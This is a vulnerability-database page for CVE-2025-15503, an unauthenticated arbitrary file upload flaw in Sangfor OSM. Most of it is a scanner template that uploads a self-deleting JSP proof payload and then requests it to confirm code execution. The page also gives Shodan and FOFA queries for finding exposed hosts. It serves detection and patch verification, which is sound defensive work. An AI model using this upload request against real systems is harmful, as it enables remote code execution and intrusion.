/Vulnerability Library

Sangfor OSM - Arbitrary File Upload

CVE-2025-15503
Verified

Description

Sangfor Operation and Maintenance Management System <= 3.0.8 contains an unrestricted file upload vulnerability caused by manipulation of the \"File\" argument in /fort/trust/version/common/common.jsp, letting remote attackers upload arbitrary files, exploit requires no special privileges.

Severity

Critical

Exploit Probability

2%

Published Date

February 11, 2026

Template Author

ark

CVE-2025-15503.yaml
id: CVE-2025-15503

info:
  name: Sangfor OSM - Arbitrary File Upload
  author: Ark
  severity: critical
  description: |
    Sangfor Operation and Maintenance Management System <= 3.0.8 contains an unrestricted file upload vulnerability caused by manipulation of the \"File\" argument in /fort/trust/version/common/common.jsp, letting remote attackers upload arbitrary files, exploit requires no special privileges.
  impact: |
    Remote attackers can upload arbitrary files, potentially leading to remote code execution or system compromise.
  remediation: |
    Update to the latest version.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-15503
    - https://github.com/advisories/GHSA-h49h-jpp7-xv85
  classification:
    cve-id: CVE-2025-15503
    epss-score: 0.01907
    epss-percentile: 0.76996
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"/fort/login"
    fofa-query: body="/fort/login" && product="SANGFOR-运维安全管理系统"
  tags: cve,cve2025,sangfor,osm,rce,fileupload,intrusive,vkev

variables:
  randnum: "{{rand_int(100000000, 999999999)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /fort/trust/version/common/common.jsp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

        ------WebKitFormBoundary
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.jsp"
        Content-Type: image/png

        <%@page import="java.security.MessageDigest,java.math.BigInteger"%><%MessageDigest md=MessageDigest.getInstance("MD5");md.update("{{randnum}}".getBytes());out.print(new BigInteger(1,md.digest()).toString(16));new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
        ------WebKitFormBoundary--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Upload success")'
        condition: and
        internal: true

  - raw:
      - |
        GET /fort/trust/version/common/{{randstr}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, md5(to_string(randnum)))'
        condition: and
# digest: 4a0a00473045022100bf96c29c62dc8ced486ba691badb6692fedd54a26a09138a7d67159aaf50df7002206013b1bd5fe0bc1561beb2f8dadb437cfb7913fa9510fcba843f3238bc1ddb10:922c64590222798bb761d5b6d8e72950
9.5Severity

CVSS Metrics

CVE ID:
cve-2025-15503
CWE ID:
cwe-434

References

https://nvd.nist.gov/vuln/detail/CVE-2025-15503https://github.com/advisories/GHSA-h49h-jpp7-xv85

Remediation Steps

Update to the latest version.